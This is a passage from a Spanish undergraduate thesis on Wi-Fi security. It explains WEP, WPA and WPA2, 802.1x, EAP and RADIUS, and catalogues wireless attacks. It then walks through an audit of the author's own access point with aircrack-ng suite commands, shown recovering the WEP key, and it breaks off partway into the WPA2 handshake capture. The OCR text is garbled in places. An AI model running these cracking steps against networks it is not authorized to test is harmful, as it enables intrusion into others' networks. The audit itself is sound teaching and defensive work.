datos transmitidos por una WLAN no puedan ser descifrados por alguien ajeno a nuestra red. Para
ello nuestra red ha de tener un algoritmo de codificacién y gestion de claves.

En primer lugar, el IEEE publicé un algoritmo de seguridad opcional en el estandar 802.11 llamado
WEP, el cual no tardé mucho en ser roto. Mientras el IEEE trabajaba en otro algoritmo mas potente,
la Alianza Wi-Fi lanz6 un algoritmo alternativo y mas potente que WEP, llamado WPA.
Posteriormente el IEEE publico el estandar 802.11i, también conocido como WPA2, que actualmente
es el mas seguro de los tres.

En los siguientes capitulos profundizaremos mas en cada uno de ellos.

Tecnologia Integridad Cifrado Autenticacion Protocolo
CRC-32 RC4 Sistema abierto o
Cyclic (Mal clave compartida
WEP )
redundancy implementado)
check
MIC o Michael RC4 PSK (Pre-shared TKIP
WPA Message key) Temporal Key
authentication Radius Integrity Protocol
code
AES AES PSK (Pre-shared CCMP
Advanced Advanced key) Counter Mode
Encryption Encryption Radius with Cipher Block
WPA2 Standard Standard Chaining
Message
Authentication
Code Protocol
Tabla 3: Resumen de los principales protocolos de s eguridad

2.1.1 WEP
El protocolo WEP (Wired Equivalent Privacy) es el mecanismo de cifrado basico opcional definido en
el estandar IEEE 802.11. Su objetivo es proporcionar confidencialidad, autentificacién y control de

acceso en redes inalambricas.

Utiliza el algoritmo de cifrado RC4 (Rivest Cipher 4), disefiado en 1987 por Ron Rivest de la empresa
RSA Security, para cifrar todos los datos que se intercambian entre los clientes y el punto de acceso.
RC4 consiste en generar una clave de forma pseudo-aleatoria que tiene la misma longitud que el
texto original. A esta clave y al texto original se le aplica la operacion légica XOR (O exclusiva),
obteniendo como resultado un texto cifrado. La clave pseudo-aleatoria se genera utilizando una clave
secreta que define el propio usuario con una longitud de 40 o 104 bits y un vector de inicializacion
(IV) de 24 bits que lo genera aleatoriamente el sistema para cada trama. La clave secreta se
concatena con el vector de inicializacion creado, lo que se conoce como semilla (Seed), obteniendo

la clave pseudo aleatoria de 64 o 128 bits utilizando el algoritmo PRNG (Pseudorandom Number
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Generation). El IV viaja en cada trama que se envia por lo cual hace que sea facil de interceptar por

un atacante.

Para garantizar la integridad, el texto original se envia como ICV (Integrity Check Value), que se trata
de 32 bits de comprobacién de integridad que se calculan con el algoritmo CRC-32 (Cédigo de
redundancia ciclica).

En la siguiente figura se puede ver el funcionamiento del cifrado de este protocolo:

[
v Clave estitica

Y

EC4

¥

Texto plane = "‘ HOR.

Algoritmo CRC ™M Iov

»

k4 k4

Paquete a transmibir { ‘ Tewto cifrado IV

Figura 11: Funcionamiento del cifrado WEP

En lo referente a la autenticacion, el protocolo WEP admite los dos tipos del estandar 802.11:

autenticacion abierta o autenticacion por clave compartida, ambas explicadas en el apartado 2.0.

2.1.2 WPA

WPA (Wifi Protect Access) es el protocolo de seguridad que lanzo6 la Alianza Wi-Fi para solucionar
los problemas de seguridad del protocolo WEP, mientras el IEEE trabajaba en el estdndar 802.11i.
Bésicamente la Alianza Wi-Fi decidi6, en colaboracion con el IEEE, tomar aquellas partes del nuevo

estandar que ya estaban suficientemente avanzadas y publicar WPA.

Este protocolo implementa las siguientes mejoras:

» Autenticacién del usuario mediante el IEEE 802.1x (control de acceso a red basada en puertos).

» Soluciona la debilidad del vector inicializacion (IV) de WEP mediante la inclusién de vectores del
doble de longitud (48 bits) y especificando reglas de secuencia. Los 48 bits permiten generar 2
elevado a 48 combinaciones de claves diferentes, lo cual es un nimero suficientemente elevado
como para tener duplicados.

» Utiliza el intercambio dindmico de claves mediante el protocolo TKIP (Temporal Key Integrity
Protocol).
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El algoritmo de cifrado utilizado por WPA sigue siendo RC4 como en WEP, pero para comprobar
la integridad de los mensajes ICV, se cambi6 el cédigo de deteccion de errores CRC-32 por uno

nuevo llamado MIC (Message Integrity Code).
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Figura 12: Funcionamiento del cifrado WPA (TKIP)

WPA puede funcionar en dos modos:

WPA-Enterprise: este modo requiere de una infraestructura de autenticacién 802.1x con un
servidor de autenticacion, generalmente un servidor RADIUS. Requiere una implementacion
compleja, pero da una seguridad extra. Mas adelante profundizaremos mas en este tema,
hablando de los servidores RADIUS y del Protocolo de Autenticacion Extensible (EAP).
WPA-Personal: este modo permite la implementacién de una infraestructura segura basada en
WPA sin tener que utilizar un servidor de autenticacion. Se basa en el uso de una clave
compartida (PSK) en el AP y el cliente. Esta clave solo se utiliza como punto de inicio de la

autenticacion, pero no para el cifrado de los datos.

2.1.3 WPA2

En Junio de 2004 se ratifico el nuevo estdndar IEEE 802.11i. Se cre6 para corregir las

vulnerabilidades detectadas en el protocolo WEP.

Aunque tiene el inconveniente de no ser compatible con el hardware anterior, tiene la ventaja de ser

mucho mas seguro.

La Alianza Wi-Fi, debido al éxito del estdndar WPA y a la popularidad del término, decidi6 rebautizar

el estandar 802.11i con el nombre WPA2, que es como se conoce actualmente.

Al igual que el protocolo WPA, WPAZ2 incluye el intercambio dinamico de la clave, un cifrado mucho

mas fuerte, y la autenticacion de usuario, pero afiade las mejoras siguientes:
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* Nuevo algoritmo de cifrado AES (Advanced Encryption Standard). Se trata de un algoritmo de
cifrado de bloque simétrico. Utiliza la misma clave para cifrar y descifrar, y el texto en claro se
divide en bloques mas pequefios que se cifran por separado de manera iterativa.

» Utiliza el protocolo CCMP (Counter Mode with Cipher Block Chaining Message Authentication
Code Protocol) para asegurar la integridad y la autenticidad de los mensajes. Este protocolo
utiliza el cifrado AES en lugar de los codigos MIC (Message Integrity Code), y utiliza llaves de
128 bits con vectores de inicializacion de 48 bits.
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Figura 13: Funcionamiento del cifrado WPA2 (CCMP)

Igual que WPA, WPAZ2 puede funcionar en los modos WPA2-Enterprise y WPA2-Personal, ambos

descritos anteriormente.

2.2 Autenticacion 802.1x

El estdndar IEEE 802.1x forma parte de la norma protocolos IEEE 802 para redes cableadas.
Proporciona un sistema de control de dispositivos de red, de admision, de tréfico y de gestion de
claves para dispositivos en una red inalambrica. Como hemos comentado anteriormente el nuevo
estandar IEEE 802.11i, propone a 802.1x como protocolo de autenticacion.

802.1X se basa en puertos, es decir, para cada cliente dispone de un puerto que utiliza para
establecer una conexion punto a punto. Mientras el cliente no se valide, el puerto permanece
cerrado.

Para el control de admision 802.1x utiliza un protocolo de autenticacion denominado EAP, que

proporciona una gran flexibilidad en la metodologia de autenticacion como veremos mas adelante.

802.1x define los intervinientes siguientes:

» Solicitante (Supplicant): puerto (cliente) que pide acceso.
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» Autenticador (Authenticator): puerto (punto de acceso) que exige una autenticacion previa a

permitir el acceso.

» Servidor de autenticacién (Authentication Server): comprueba las credenciales del puerto
solicitante remitida por el puerto autenticador y responde a este ultimo con la aceptacion o
denegacion del acceso.

Authenticator 2 Authentication senver
RADIUS / Diameter

Supplicant

Internet or other LAN resources

Figura 11: Arquitectura 802.1x

2.3 Autenticacién EAP

EAP (Extensible Authentication Protocol) ofrece un incremento de seguridad a 802.11i. Es un
protocolo de autenticacién mutua entre cliente y servidor de autenticacion. Estos acuerdan una clave
base especifica para ese cliente en concreto, que se empleara unicamente durante la sesion activa.
Las contrasefias y claves de sesion nunca se envian en claro por el enlace de radio, sino que utilizan
los protocolos de seguridad y cifrado.

TLS | TTLS |PEAP | SIM | LEAP | OTP Authentication layer

Extensible Authentication Protacol (EAP)

EAP Over LANs (EAPOL)

PFPP 802.3 802.5 802.11 MAC layer

Figura 14: Protocolo EAP
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Actualmente podemos encontrar 5 tipos de EAP para los protocolos WPA y WPA2, que explicaremos
a continuacion. Los requerimientos para los protocolos EAP usados en WLAN se describen en el
RFC 4017.

2.3.1 EAP-TLS (Transport Layer Security)

Estandar IETF recogido en la RFC 2716. Ofrece autenticacion mutua entre cliente y servidor
utilizando el protocolo de seguridad en la capa de transporte. Utiliza certificados digitales tanto para
el cliente como el servidor de autenticacion. Requiere la necesidad de implementar una

infraestructura de clave publica PKI (Public Key Infrastructure) para la gestion de certificados.

2.3.2 EAP-TTLS (Tunneled Transport Layer Security)

Mantiene un compromiso entre seguridad y coste de implementacion. Sustituye el certificado digital
del cliente por un método de autenticacion con clave de acceso. El servidor si dispone de certificado
digital. Durante el proceso de autenticacion se establece un tunel seguro cifrando la comunicacion

entre cliente y servidor.

2.3.3 PEAP (Protected EAP)

Utiliza TLS para crear un canal cifrado entre un cliente y un servidor de autenticacion (RADIUS o

IAS). No especifica un método de autenticacion, sino que proporciona seguridad adicional para otros

protocolos de autenticacion de EAP que pueden operar a través del canal cifrado de TLS que

proporciona PEAP. Se utiliza como método de autenticacion para los equipos cliente inalambricos

802.11, pero no se admite en clientes de red privada virtual (VPN) u otros clientes de acceso remoto.

Para redes WLAN, puede elegir entre dos tipos de EAP para usar con PEAP:

« EAP-MS-CHAPV2: usa credenciales (nombre de usuario y contrasefia) para la autenticacion de
usuarios, y un certificado del almacén de certificados del equipo servidor para la autenticacion del
servidor.

* EAP-TLS: lo hemos explicado anteriormente.

2.3.4 LEAP (Lightweight EAP)

Es un método de autenticacion WLAN propietario de Cisco Systems. Combina el uso de claves WEP
dinamicas con la autenticacion mutua entre cliente y servidor de autenticacion. Con cada
autenticacion completada, los clientes adquieren una nueva llave WEP (con la esperanza de que las
claves WEP no vivan el suficiente tiempo como para ser robadas).

LEAP puede configurarse para usar TKIP en vez de WEP dinamico.
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2.3.5 EAP-SIM

Ofrece autenticacion mutua entre un cliente y un servidor de autenticacion, utilizando la informacion
almacenada en la tarjeta SIM del cliente, y comparandola con una base de datos centralizada.

Este sistema esta pensado para que clientes mdviles sean transferidos de forma automatica y

transparente de redes 3G 0 4G a redes Wi-Fi.

2.4 RADIUS

RADIUS (Remote Authentication Dial-In User Server), es un protocolo de AAA (Autenticacion,
Autorizacion y Administracion) para aplicaciones de acceso a la red o movilidad IP. Fue desarrollado
por la empresa Livingston para utilizarlo con sus servidores de acceso a red. Utiliza el puerto UDP

1812 para establecer sus conexiones.

Este protocolo lo empezaron a utilizar los proveedores de acceso telefonico a Internet para gestionar
los accesos de sus clientes (de ahi su nombre), aunque hoy en dia se utiliza ampliamente en
cualquier servicio de autentificacién de usuarios, entre ellos por el estandar de seguridad del 802.1x
usado en redes inalambricas.

En 1997 se incluy6 en las recomendaciones RFC 2058/2059 de IETF.

Una de las caracteristicas mas importantes del protocolo RADIUS es su capacidad de manejar
sesiones, notificando:

» Elinicio de sesion del usuario.

» Elfinal de sesion del usuario.

» El total de paquetes transferidos durante la sesion.

* El volumen de datos transferidos durante la sesion.

* Larazon para la terminacion de la sesion.
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Figura 15: Arquitectura WLAN con servidor RADIUS

33



® U 0 c Jose Manuel Luaces Novoa
— Trabajo de Final de Carrera

Existe una gran variedad de servidores RADIUS, de los que podemos destacar:

» |AS (Internet Authentication Service): desarrollado por Microsoft en arquitecturas Windows
Server, puede utilizar los protocolos de autenticacion EAP-TLS y EAP-MD5.

» Secure ACS (Access Control Software): desarrollado por Cisco Systems, existen versiones para
sistemas Unix y Windows, puede utilizar los protocolos LEAP y EAP-TLS.

» Steel Belted Radius: desarrollado por Funk Software, utiliza los protocolos EAP-TLS, LEAP y
EAP-TLLS.

* FreeRadius: proyecto de software libre para sistemas Linux, muy conocido. Soporta los
protocolos PEAP Y EAP-TLS.

2.5 Conclusiones

Como hemos podido ver en este capitulo, la seguridad en las WLANs ha mejorado mucho desde que
salié el protocolo WEP hasta el protocolo WPA2. Todo y que la mejora ha sido muy importante,
estamos en posicidon de decir que las WLAN todavia no son del todo seguras.

En el ambito personal o doméstico, la seguridad que existe actualmente con WPA2 es suficiente, ya
gue la importancia de la informacién que se puede llegar a obtener en este tipo de &mbitos no
merece la pena la dedicacion de tiempo y recursos para poder obtenerla.

En cambio, en el ambito empresarial, la cosa es distinta. Aunque se invierta mucho dinero en la
seguridad de este tipo de redes, esta seguridad nunca sera total. El tipo de informacion a la que se
podria tener acceso en este &mbito podria merecer la pena invertir muchos recursos y tiempo en
obtenerla, y como hemos visto, al transmitirse esta informacion por un medio abierto como es el aire,
siempre podra llegar a ser captada por alguien.

A dia de hoy, parece ser que el IEEE ha dejado un poco de lado el tema de la seguridad en redes
802.11, ya que sus proyectos actuales se basan mas en la obtencién de mayores velocidades de

transmisién, que en proteger las redes. Esperemos que esto cambie.
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3. Ataques en redes WLAN

3.0 Introduccién
Dado que las comunicaciones inalambricas viajan libremente por el aire, una persona equipada con
una antena que opere en el rango de frecuencias adecuado y dentro del area de cobertura de la red
puede captarlas.

Los ataques de seguridad a las WLAN se pueden agrupar en dos categorias:

» Ataques activos: el atacante accede a la red con el fin de alterar y/o modificar la informacion que
se encuentra en ella.
» Ataques pasivos: el atacante accede a la red con el fin de capturar la informacion intercambiada

entre los extremos de la comunicacion.

Ataques

Activos Pasivos

—— N —

Suplantacion Reactuacion Modificacion DoS Sniffing Ana!|5|s
de trafico

Figura 16: Ataques en redes inalambricas

A continuacion profundizaremos més en cada uno de ellos.

3.1 Ataques activos

3.1.1 Suplantacién

Consiste en la obtencion de la identidad de un usuario autorizado por parte del atacante. El

mecanismo mas simple para realizar este tipo de ataque es utilizar una direccion MAC valida para

suplantar la identidad e identificarte como cliente autorizado. Este tipo de ataque normalmente

incluye otros tipos de ataques activos.

Como ejemplos de este tipo de ataques tenemos:

» Honeypot: el atacante coloca un AP configurado con el mismo ESSID de la red a atacar dentro
del &rea de cobertura de esa red y espera a que un usuario legitimo se conecte e intente

validarse con su usuario y contrasefa para asi obtenerla.
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* Man in the Middle: el atacante se ubica entre el cliente y el AP consiguiendo asi controlar la
comunicacion entre ambos. Todos los datos entre cliente y AP pasaran por manos del atacante,
pudiendo guardarla, modificarla, alterarla, etc.

 MAC Spoofing: el atacante, mediante captura de paquetes, obtiene la direccion MAC de un
cliente legitimo y substituye la de su tarjeta de red por la obtenida, para asi saltarse la proteccion
por MAC de los APs.

» Session Hijacking: el atacante desautentica mediante denegacion de servicio a un usuario
legitimo de la red, para poder asi suplantarlo.

» ARP Poisoning: el protocolo ARP (Address Resolution Protocol) permite encontrar la direccion IP
de una maquina a partir de su direccibn MAC. Las peticiones ARP se realizan sélo una vez para
ser almacenadas en una tabla y asi evitar peticiones ARP cada vez que hay que enviar un
paquete a una determinada IP. Este tipo de ataque consiste en enviar paquetes “ARP Reply” a
los equipos, intercambiando la direccion MAC de la maquina legitima, por la del atacante. Asi se
modifican las tablas ARP con esa informacidn y se consigue redirigir el trafico a la maquina

atacante.

3.1.2 Reactuacion
Consiste en capturar mensajes legitimos y repetirlos para producir un efecto no deseado, como

podria ser por ejemplo repetir ingresos de dinero, envio masivo de de emails, etc.

3.1.3 Modificacion

Consiste en capturar mensajes enviados por un usuario autorizado y modificarlos, borrarlos o
reordenarlos, para producir un efecto no autorizado, como podria ser por ejemplo capturar un
mensaje que diga “Realizar un ingreso en efectivo en la cuenta A”, y modificar el nimero de cuenta

por “B”.

3.1.4 Denegacion de Servicio

Consiste en evitar que los clientes legitimos consigan acceder a la red 0 a un servicio que esta
ofrezca. Existen varias formas de hacer que esto sea posible, como por ejemplo: saturar el ambiente
con ruido de RF, inyectar mucho tréfico a la red para disminuir su rendimiento o colapsarla, saturar a
peticiones de autenticacion a un Punto de Acceso inalambrico, servidor Web o uno de correo

electronico, etc.
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3.2 Ataques pasivos

3.2.1 Sniffing
Consiste en capturar el tréfico de una red para posteriormente poder obtener datos de ellas como por

ejemplo direcciones IP, direcciones MAC, direcciones de correo electronico, etc.

3.2.2 Andlisis de trafico
Consiste en obtener informacion mediante el andlisis del trafico y sus patrones, como por ejemplo a

gue hora se encienden ciertos equipos, cuanto trafico se envia, a que horas hay més trafico, etc.

3.3 Ataques protocolo WEP
Los ataques al protocolo WEP se basan en explotar la vulnerabilidad de seguridad que supone el

intercambio de claves que utiliza. Se requiere la captura de gran cantidad de paquetes.

3.3.1 Ataque de fragmentacion
Se basa en el protocolo de fragmentacion de paquetes y en la prediccion de su nuevo valor cifrado.
Tras el proceso de prediccion de cifrado de los fragmentos se obtiene una cantidad de keystream

gue seran utilizados para crear el huevo paquete. Solo funciona en APs que soporten este protocolo.

3.3.2 Ataque Cafeé-Latte
Consiste en la creacion de un AP falso con los datos de la red que se quiere atacar. Cuando los
clientes autorizados intentan conectarse al AP falso, generan paquetes ARP y de esta forma se

obtiene la clave.

3.3.3 Ataque por fuerza bruta

Consiste en, a partir de la captura de mensajes, probar todas las combinaciones de caracteres
posibles para asi obtener la clave WEP. Para realizar este ataque es indispensable conocer el texto
en claro y el texto cifrado del mensaje.

El gran inconveniente de este proceso es que puede llegar a ser extremadamente lento dependiendo

de la longitud de la clave y de la variedad de caracteres utilizados.

3.3.4 Ataque mediante criptoanalisis estadistico FM Sy Korek

El atague WEP FMS (Fluher, Martin y Shamir) consiste en recoger entre 5y 10 millones
(dependiendo del software utilizado y de la aleatoriedad de la clave) de 1Vs para descifrar una clave
de 128 bits. Este ataque necesita de la existencia de un cliente conectado y transmitiendo paquetes

con IVs.
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Este ataque se vio mejorado por Korek cuando plante6 una serie de ataques que permiten descartar

algunas claves segun unos patrones.

3.3.5 Ataque mediante criptoanalisis estadistico PT W
Este ataque aprovecha correlaciones entre la clave que usa RC4 y el keystream que genera. A
diferencia del ataque FMS, no depende tanto de la cantidad de 1Vs capturados, llegando a necesitar

tan solo unos 80.000 IVs.

3.4 Ataques WPA/WPA2 PSK
Los ataques WPA/WPA2 PSK se basan en la obtencion de unos pocos paquetes especificos y a
partir de ellos realizar los ataques.

Es imprescindible que el AP al que se quiere atacar disponga de un cliente legitimo asociado.

3.4.1 Ataques de diccionario

En la actualidad es el ataque a este protocolo mas utilizado. Consiste en desautenticar a un cliente
legitimo del AP produciendo una denegacion de servicio. Al desautenticarse, el cliente volvera a
autenticarse produciéndose un intercambio de paquetes entre cliente y AP donde se incluiran las
claves Unicas de sesion (handshake) con las que se podra iniciar el ataque de fuerza bruta mediante
diccionario.

El diccionario es un archivo donde estan incluidas todas las posibles combinaciones de contrasefias.
Por ejemplo podriamos crear un diccionario con todas las posibles combinaciones de nimeros con
una longitud de 8 caracteres (10° posibles claves).

Cuanto mas larga sea la clave y cuanta mas variedad de caracteres se utilicen, mas costoso sera

realizar este ataque.

3.4.2 Ataque Hole 196

En la pagina 196 del estandar IEEE 802.11 se dice que los mensajes enviados con claves de grupo
(GTK), es decir, las claves pensadas para comunicaciones broadcast, no tienen proteccion contra la
suplantacion. De este modo un atacante puede enviar un mensaje con una clave GTK con la IP que
guiera, es decir, se puede enviar un mensaje con una clave GTK pero a una MAC dirigida en lugar
de a una direccion MAC de broadcasting. Haciendo esto, sélo la victima procesara ese paquete
broadcast y, por tanto, salvo que la tabla de ARPs tenga la resolucion de la MAC del Gateway
estética, se producird un envenenamiento de la IP que permitira suplantar al router.

A partir de ese momento, cuando la victima se comunique con el Gateway se utilizaran las claves

personales (PTK) asociadas a esa IP, que el atacante entregara para hacer el Man in the Middle.
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4. Auditoria inaldmbrica

4.0 Introduccién

La auditoria WLAN consiste en evaluar el tipo de seguridad existente en nuestra red, y en caso de no
ser segura, hacer las recomendaciones pertinentes para solucionarlo.

En este capitulo evaluaremos los dos protocolos de seguridad mas utilizados actualmente por los
usuarios en el ambito no empresarial: el protocolo WEP y el protocolo WPA2.

4.1 Requisitos

Para realizar la auditoria necesitaremos los siguientes componentes:

Software especifico para realizar la auditoria (Wifiway, Backtrack, Knoppix, etc.).
Punto de acceso inalambrico que soporte los protocolos que se quieren auditar.

Ordenador con tarjeta de red inalambrica que soporte el modo de monitorizacion.

En nuestro caso, los componentes especificos gue vamos a utilizar son:
Distribucion LiveCd de Linux Wifiway 3.4.

Ordenador con tarjeta de red inalambrica D-Link AirPlus DWL-G520 (chip Atheros).
Router ADB Home Station A4001N que incluye AP inalambrico.

4.2 Auditoria protocolo WEP
En primer lugar hemos configurado nuestro AP con los siguientes parametros:
Manual Setup AP

You can set the network authentication method, selecting data encryption,

|

specify whether 2 network key is required to authenticate to this wireless network and specify the encryption strength.
Click "a&pphy/Save” whan done.

Select SEID: ITFCWLAN 'I

Metwiork Authentication: I Oper‘l j

WEP Encrypticn: Enabled vI

Encryption Strength: G4-hit - I

Currant Metwork Key:

|
Eq —i
b |

Metwork Ky 1:

Metwiork Key 2: plb

Metwork Key 3: b

Metwork Key 4: pb
Enter 13
Enter & £

Figura 17: Configuracion WEP del AP
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Como se puede apreciar el nombre de la Red (SSID) es TFCWLAN. Hemos habilitado la encriptacion

WEP y hemos elegido como contrasefia TFC12.

Los pasos que seguiremos para realizar el ataque seran:

1.

a > w N

Activamos el modo monitor de nuestra tarjeta inalambrica.

Comprobamos las redes inaldmbricas que hay a nuestro alcance.

Iniciamos la captura de paquetes de la red que queremos auditar.

Comprobamos si hay algun dispositivo conectado a la red que queremos auditar.

Si lo hay iniciamos un ataque de reenvio de “ARP Request”. Si no lo hay iniciariamos primero un
ataque de “Falsa Autenticacion” y a continuacion uno de reenvio de “ARP Request”.

Una vez empiece a surtir efecto el paso anterior, comprobaremos que en el paso 3 se han
capturado un namero elevado de #Data (IVs. Dependiendo de la longitud de la contrasefia podria
oscilar entre los 50.000 y los 120.000).

Por ultimo procederemos a descifrar la contrasefa utilizando los datos capturados anteriormente.

Vamos paso a paso:

Paso 1:

airmon-ng start wlano

Interface Chipset Driver

wlano Atheros AR2414 athsk - [phyol
(monitor mode enabled on mon®)

Figura 18: Iniciamos el modo monitor de la tarjeta de red

, donde wlanO es el adaptador inalambrico de nuestro ordenador, y con start ordenamos que se inicie

el modo monitorizacion de ese adaptador.

Paso2:

wifiway airodump-ng wlanof

Figura 19: Comprobamos las redes que capta el adapt ador
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3 1[ Elapsed: 1 min 1[ 2012-12-13 61:02

BSSID PWR Beacons #Data, #/s g ENC CIPHER AUTH ESSID

30:39:F2:67:60: 146 0]
62:3C:E4:EE: 64:D4 144 o
CO:AC:54:02:B7: g5 0]
00:1A:2B: 4:3C 32 1]
00:1A:2B:8D:70:63 63 (0}
00:19:15:D1:79:E- G 0
00:1A:2B:8F: Ad: 0]
O : @ 3D AT DO 4C 0
00:03;:C9:E7:20;92 1
a0 15 GE 1
EG: :

00:

tn
o
3

WEP WEP TFCWLAN
WPA CCHMP { vodafone64D4
. WPAZ CCHP Orange-90ct
WPA CCHP : WLAN_2B90
WPA CCHP : WLAN_D24F
WPA TKIP WLAN_79E4
WPA CCHP WLAN_95F1
. WEP WEP ADSL_WIRELESS
WEP WEP WLAN_3C
WPA CCHP WLAN_6A16
. WEP WEP WLAN_12
<length: o=

]
m o M

AR gndnagndndgnandnoan
g g

ISSID STATION Frames Probe

{not associated) 00:23:6C: 8

{not associated) EG: CA:

(not associated) 00:1B:77: o i i i 4 WLAN_1FE1
({not associated]) 54:26:96:9E:93:83 85 0 0 ADSL_WIRELESS

Figura 20: Obtencién de las redes que capta el adap tador

, donde vemos la red TFCWLAN (que es la que queremos auditar), con sus datos relevantes como
son la MAC del AP (BSSID), la potencia de la sefal (PWR), el canal por el que emite (CH) y la
encriptacion (ENC).

Paso 3 vy 4:

wifiway airodump-ng -c 1 -w DatosWEP --bssid 30:39:F2:67:60:EE 1-:1_;“115'

Figura 21: Capturamos los datos del AP y los guarda mos en un fichero

, especificamos que haga la captura a través del adaptador wlanO, del AP con MAC
30:39:F2:67:60:EE (--bssid), que emite por el canal 1 (-c) y que guarde la captura en el archivo
DatosWEP (-w).

CH 1 ][ Elapsed: 0 mins ][ 2012-12-13 01:03
3ISSID PWR RX( Beacons #Data, #/s CH HMB ENC CIPHER AUTH ESSID

JO:39:F2:67:60:EE -63 96 262 31 3 1 54e WEP WEP TFCWLAN

ISSID STATION PWR Rate Lost Frames Prohe

30:39:F2:67:60:EE 00:23:6C:82:54:E5 0 -1 628 112027

Figura 22: Captura de los datos del AP en tiempo re al
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, podemos ver como se inicia la captura de los datos, y vamos viendo la cantidad de datos validos

gue vamos obteniendo. Al principio esta cantidad apenas sube.
Como podemos ver en la imagen hay un dispositivo conectado al AP (STATION) donde se nos
muestra su MAC. Esto nos servird para realizar el préximo paso y asi aumentar el nimero de datos

validos de forma mucho mas rapida.

Paso 5:

wifiway aireplay-ng -3 -b 30:39:F2:67:60:EE -h 00:23:6C:82:54:E5 wlang(]

Figura 23: Iniciamos el ataque “Reenvio de ARP Requ est”

Como hemos visto en el paso anterior que habia un dispositivo conectado al AP, iniciamos el atague
de “Reenvio de ARP Request” para aumentar la cantidad de datos validos necesarios para la
obtencion de la clave WEP. Para ello hemos especificado el tipo de ataque “Reenvio de ARP
Request” (-3), la MAC del AP 30:39:F2:67:60:EE (-b), la MAC del cliente autenticado que genera
paquetes ARP 00:23:6C:82:54:E5 (-h) , y por ultimo el adaptador wlanO.

ioctL( RTC_TROP_SET) failed: Invalid argument
Make sure enhanced rtc device support is enabled in the kernel (module
rtc, not genrtc) - also try 'echo 1024 =/proc/sys/dev/rtc/max-user-freq'.
The interface MAC (00:17:9A:D1:F2 )} doesn't match the specified MAC (-h).
ifconfig wlan® hw ether o06: ES
01:03:34 Waiting for beacon frame (B 39:F2:67:60:EE) on channel 1
Saving ARP requests in replay_arp-1213-010334.cap
You should also start airodump-ng to capture replies.
Eﬁdd 153756 packets (got 48575 ARP requests and 49141 ACKs), sent 55309 packets...(499 pps)

Figura 24: Resultados del ataque

Al principio veremos solo aumentara el valor de “Read packets”. En el momento que el cliente envie
un ARP al Ap, el programa lo captara y empezara a reenviarlo al AP. Veremos como entonces el

valor de “got ARP request” y “ACKs” empezara a aumentar muy rapido.

Paso 6:
CH 1 1[ Elap 2mins 1[ 2012-12-13 01:05
BSSID PWR RX(Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

30:39:F2:67:60:EE -63 96 1262 44031 403 1 54e WEP WEP TFCWLAN

BSSID STATION PWR Rate Lost Frames Probe

30:39:F2:67:60:EE 00:23:6C:82:54:E5 0] 0 -1 628 112027

Figura 25: Captura de los datos del AP en tiempo re al
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Comprobamos como, después del paso anterior, los #Data que obteniamos en el paso 3 aumentan

de forma muy rgpida. Cuando creamos que tenemos un nimero de datos validos suficientes (unos

50.000) podemos pasar al siguiente paso.

Paso 7:

wifiway aircrack-ng -b 30:39:F2:67:60:EE DatosWEP-01.cap(]

Figura 26: Iniciamos el descifrado de la clave

Iniciamos el programa para descifrar la clave, donde le especificamos la MAC del AP
30:39:F2:67:60:EE (-b), y el fichero dénde hemos guardado la captura de los datos (DatosWEP-
02.cap).

wifiway aircrack-ng -b 30:39:F2:67:60:EE DatosWEP-02.cap
Opening DatosWEP-02.cap
Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 52131 ivs.
KEY FOUND! [ 54:46:43:31:32 1 (ASCII: TFC12 )
Decrypted correctly: 100%

Figura 27: Resultado final

Al cabo de unos instantes, el programa descifra la clave con los datos obtenidos en la captura, que

en nuestro caso es TFC12.
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4.3 Auditoria protocolo WPA/WPA2 PSK
En primer lugar hemos configurado nuestro AP con los siguientes parametros:

Wireless — Security

owis you to configure security festures of the wireless LAN interface,
ay setup configuration manualhy

iR
through WiFi Protcted Setup(WPS)

WPS Setup

Enzble WPS I Disabled vI

Manual Setup AP

You can set the network authentication methed, selecting data encryption,

specity whether a netwark key is reguired to authenticate to this wirgless netweork and specify the encryption strength,
Click "Apphy/Save” when done.

Select SSI0: ITFCWLAN "I

Metwork &uthentication: I WPAZ -PSK j

WPAWAPT passphrass: LI LI Click hers to display 1 6 1 220 1 2

WPA Group Rekey Interval: il

WPAMVAPT Encryption: AES j

WEP Encryption: Disabled vI

Figura 28: Configuracion WPA2-PSK del AP

Como se puede apreciar el nombre de la Red (SSID) es TFCWLAN. Hemos seleccionado la
autenticacion WPA2-PSK, encriptacion AES y hemos elegido como contrasefia 16122012.

Los pasos que seguiremos para realizar el ataque seran:

Activamos el modo monitor de nuestra tarjeta inalambrica.

Comprobamos las redes inaldmbricas que hay a nuestro alcance.

Iniciamos la captura de paquetes de la red que queremos auditar.
Comprobamos si hay algun dispositivo conectado a la red que queremos auditar.
Iniciamos un ataque de “Desautenticacion”.

Comprobamos en el paso 3 que se ha conseguido el handshake de la negociacion.

N o g w DR

Por ultimo, con el handshake conseguido en los pasos anteriores, procederemos a descifrar la

contrasefa utilizando diccionarios con listas de contrasefas.
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Vamos paso a paso:

Paso 1:

airmon-ng start wlano

Interface Chipset Driver

wlano Atheros AR2414 athsk - [phyol
{monitor mode asnabled on mono)

Figura 29: Iniciamos el modo monitor de la tarjeta de red

, donde wlanO es el adaptador inalambrico de nuestro ordenador, y con start ordenamos que se inicie

el modo monitorizacion de ese adaptador.

Paso2:

wifiway airodump-ng wlanof]

Figura 30: Comprobamos las redes que capta el adapt ador

CH 4 ][ Elapsed: 3 mins ][ 2012-12-15 15:31

BSSID PWHR Beacons #Data, #/s i ENC CIPHER AUTH ESSID

o 0

0 0

0 0

o 0

o o

0 0

(0} 0

o o

1 0]

1 0

0} o} ;
0 158

N
it
)

WEFP WEP TFCWLAN
WPA CCHP sk vodafone&4D4
. WPAZ CCHP sk Orange-90cd
WPA CCHP WLAN 210
WPA CCHP 5K .
WPA TKIP sK WLAN_79E4
WPA CCHP SK WLAN_95F1
. WEP WEP ADSL_WIRELESS
WEP WEP WLAN_3C
WPA CCHP . WLAN_6Al16
. WEP WEP WLAN_12
<length: o=

o oofa o
mom oo

PR andndndnoan
b2 ARBA

BSSID Rate Lost Frames Probe

(not associated) B0 23:60C: 4:E~E 0]

(not associated) B:CA:99: ;7 7C o

(not associated) O HF o g 4 WLAN_1FB1
(not associlated) v 26 03:83 35 0 0 ADSL_WIRELESS

Figura 31: Obtencién de las redes que capta el adap tador
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, donde vemos la red TFCWLAN (que es la que queremos auditar), con sus datos relevantes como

son la MAC del AP (BSSID), la potencia de la sefial (PWR), el canal por el que emite (CH) y la
encriptacion (ENC).

Paso 3 vy 4.

wifiway airodump-ng -c 1 -w DatosWPA --bssid 30:39:F2:67:60:EE wlanof]

